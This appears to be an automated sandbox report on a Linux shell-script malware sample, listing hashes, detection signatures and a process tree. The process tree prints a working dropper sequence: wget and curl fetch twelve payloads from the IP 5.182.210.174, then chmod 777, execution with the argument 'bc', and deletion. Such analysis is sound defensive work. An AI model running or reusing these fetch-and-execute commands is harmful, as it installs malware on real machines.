1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/08/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
Size 1KB
Sample260824-sdj8rsvyev
SHA256 1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb
MD5 20cda16f2bd2eb346e5071a15847f621
SHA1 edc6788d681d16f495c9b23c6a2e8ea5a86dac06
SHA512 4aec7ab9a6d42ce51d4cb61a3719fe23f1ddb3344a43899e0f3c0fd02189b6bdc3d39b643851f2f7d40050a0891aaf3f1a07a4784281efd8a6c599a7910181fb
TLSH
T1F031A4DA10101A716112CE4EB3623548B68D99E7299FDBD0CD990EE842CA7CCF662B1D
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
818	chmod
825	chmod
832	chmod
680	chmod
687	chmod
697	chmod
723	chmod
751	chmod
767	chmod
789	chmod
811	chmod
760	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/90a315	681	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/a1cc4a	688	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/ae7672	698	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/d7249a	724	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/ba4dfa	753	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/1e61a5	761	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/74bd68	768	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/478fb8	791	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/2e1826	812	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/6bf667	819	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/6b3d9e	826	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/703fd9	833	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/703fd9	curl
File opened for modification	/tmp/90a315	curl
File opened for modification	/tmp/d7249a	curl
File opened for modification	/tmp/ba4dfa	curl
File opened for modification	/tmp/1e61a5	curl
File opened for modification	/tmp/74bd68	curl
File opened for modification	/tmp/6bf667	curl
File opened for modification	/tmp/a1cc4a	curl
File opened for modification	/tmp/ae7672	curl
File opened for modification	/tmp/478fb8	curl
File opened for modification	/tmp/2e1826	curl
File opened for modification	/tmp/6b3d9e	curl

/tmp/1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
1⤵
- Executes dropped EXE
PID:650
- /usr/bin/wget
  wget http://5.182.210.174/90a315
  2⤵
  PID:656
- /usr/bin/curl
  curl -O http://5.182.210.174/90a315
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod 777 90a315
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/90a315
  ./90a315 bc
  2⤵
  PID:681
- /bin/rm
  rm -rf 90a315
  2⤵
  PID:683
- /bin/rm
  rm -rf 90a315.1
  2⤵
  PID:684
- /usr/bin/wget
  wget http://5.182.210.174/a1cc4a
  2⤵
  PID:685
- /usr/bin/curl
  curl -O http://5.182.210.174/a1cc4a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 a1cc4a
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/a1cc4a
  ./a1cc4a bc
  2⤵
  PID:688
- /bin/rm
  rm -rf a1cc4a
  2⤵
  PID:690
- /bin/rm
  rm -rf a1cc4a.1
  2⤵
  PID:691
- /usr/bin/wget
  wget http://5.182.210.174/ae7672
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://5.182.210.174/ae7672
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 ae7672
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/ae7672
  ./ae7672 bc
  2⤵
  PID:698
- /bin/rm
  rm -rf ae7672
  2⤵
  PID:701
- /bin/rm
  rm -rf ae7672.1
  2⤵
  PID:702
- /usr/bin/wget
  wget http://5.182.210.174/d7249a
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://5.182.210.174/d7249a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod 777 d7249a
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/d7249a
  ./d7249a bc
  2⤵
  PID:724
- /bin/rm
  rm -rf d7249a
  2⤵
  PID:727
- /bin/rm
  rm -rf d7249a.1
  2⤵
  PID:729
- /usr/bin/wget
  wget http://5.182.210.174/ba4dfa
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://5.182.210.174/ba4dfa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 ba4dfa
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/ba4dfa
  ./ba4dfa bc
  2⤵
  PID:753
- /bin/rm
  rm -rf ba4dfa
  2⤵
  PID:755
- /bin/rm
  rm -rf ba4dfa.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://5.182.210.174/1e61a5
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.174/1e61a5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 1e61a5
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/1e61a5
  ./1e61a5 bc
  2⤵
  PID:761
- /bin/rm
  rm -rf 1e61a5
  2⤵
  PID:763
- /bin/rm
  rm -rf 1e61a5.1
  2⤵
  PID:764
- /usr/bin/wget
  wget http://5.182.210.174/74bd68
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://5.182.210.174/74bd68
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 74bd68
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/74bd68
  ./74bd68 bc
  2⤵
  PID:768
- /bin/rm
  rm -rf 74bd68
  2⤵
  PID:770
- /bin/rm
  rm -rf 74bd68.1
  2⤵
  PID:771
- /usr/bin/wget
  wget http://5.182.210.174/478fb8
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://5.182.210.174/478fb8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 478fb8
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/478fb8
  ./478fb8 bc
  2⤵
  PID:791
- /bin/rm
  rm -rf 478fb8
  2⤵
  PID:793
- /bin/rm
  rm -rf 478fb8.1
  2⤵
  PID:795
- /usr/bin/wget
  wget http://5.182.210.174/2e1826
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://5.182.210.174/2e1826
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod 777 2e1826
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/2e1826
  ./2e1826 bc
  2⤵
  PID:812
- /bin/rm
  rm -rf 2e1826
  2⤵
  PID:814
- /bin/rm
  rm -rf 2e1826.1
  2⤵
  PID:815
- /usr/bin/wget
  wget http://5.182.210.174/6bf667
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://5.182.210.174/6bf667
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 6bf667
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/6bf667
  ./6bf667 bc
  2⤵
  PID:819
- /bin/rm
  rm -rf 6bf667
  2⤵
  PID:821
- /bin/rm
  rm -rf 6bf667.1
  2⤵
  PID:822
- /usr/bin/wget
  wget http://5.182.210.174/6b3d9e
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://5.182.210.174/6b3d9e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod 777 6b3d9e
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/6b3d9e
  ./6b3d9e bc
  2⤵
  PID:826
- /bin/rm
  rm -rf 6b3d9e
  2⤵
  PID:828
- /bin/rm
  rm -rf 6b3d9e.1
  2⤵
  PID:829
- /usr/bin/wget
  wget http://5.182.210.174/703fd9
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://5.182.210.174/703fd9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod 777 703fd9
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/703fd9
  ./703fd9 bc
  2⤵
  PID:833
- /bin/rm
  rm -rf 703fd9
  2⤵
  PID:835
- /bin/rm
  rm -rf 703fd9.1
  2⤵
  PID:836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

90a315

Path /tmp/90a315
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads